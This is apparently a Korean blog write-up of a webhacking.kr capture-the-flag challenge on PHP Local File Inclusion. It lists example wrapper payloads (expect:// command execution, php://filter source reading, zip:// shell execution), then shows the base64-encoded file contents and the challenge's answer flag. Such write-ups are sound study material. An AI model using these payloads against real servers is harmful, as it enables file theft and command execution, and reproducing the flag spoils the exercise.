728x90

LFI(Local File Inclusion): 공격 대상 서버에 위치한 파일을 포함시켜 읽어오는 공격. php에서 include, require 함수 등을 사용할때 발생 가능. (include, require 함수는 다른 php파일을 포함하는 기능)

file 키 값에 파일명을 넣으면 파일 실행 결과가 출력됨. 즉, LFI 공격 가능. PHP 코드이므로 PHP Wrapper 사용

PHP Wrapper 예시
1. expect:// = 시스템 명령어 실행 가능

ex) 웹 사이트 주소.index.php?page=expect://시스템 명령어

2. php://filter/ = I/O 스트림을 다루는데 사용. encode/decode 옵션을 사용하여 파일 읽기 가능

ex) 웹 사이트 주소.index.php?page=php://filter/convert.base64-encode/resource=파일명

3. zip:// = zip파일의 압축을 푼 후 파일 안의 코드 실행. 주로 쉘 코드를 실행하여 공격

ex) 웹 사이트 주소.index.php?page=zip://file.zip#shell.php

2번 기능을 이용하여 ?file=php://filter/convert.base64-encode/resource=flag 대입

PD9waHAKICBlY2hvICJGTEFHIGlzIGluIHRoZSBjb2RlIjsKICAkZmxhZyA9ICJGTEFHe3RoaXNfaXNfeW91cl9maXJzdF9mbGFnfSI7Cj8+Cg==

라는 결과 나옴.끝에 ==가 붙음으로 base64 디코딩하면 결과는 다음과 같다

<?php
  echo "FLAG is in the code";
  $flag = "FLAG{this_is_your_first_flag}";
?>

FLAG{this_is_your_first_flag} 값을 웹 해킹 사이트 상단의 Auth 메뉴에 입력하면 통과

728x90

'webhacking.kr' 카테고리의 다른 글

webhacking 27(SQL Injection)  (0) 2022.12.19
webhacking 26(URL Encoding)  (0) 2022.12.18
webhacking 24(PHP)  (0) 2022.12.17
webhacking 23(XSS)  (0) 2022.12.17
webhacking 22(Blind SQL Injection)  (0) 2022.12.17

+ Recent posts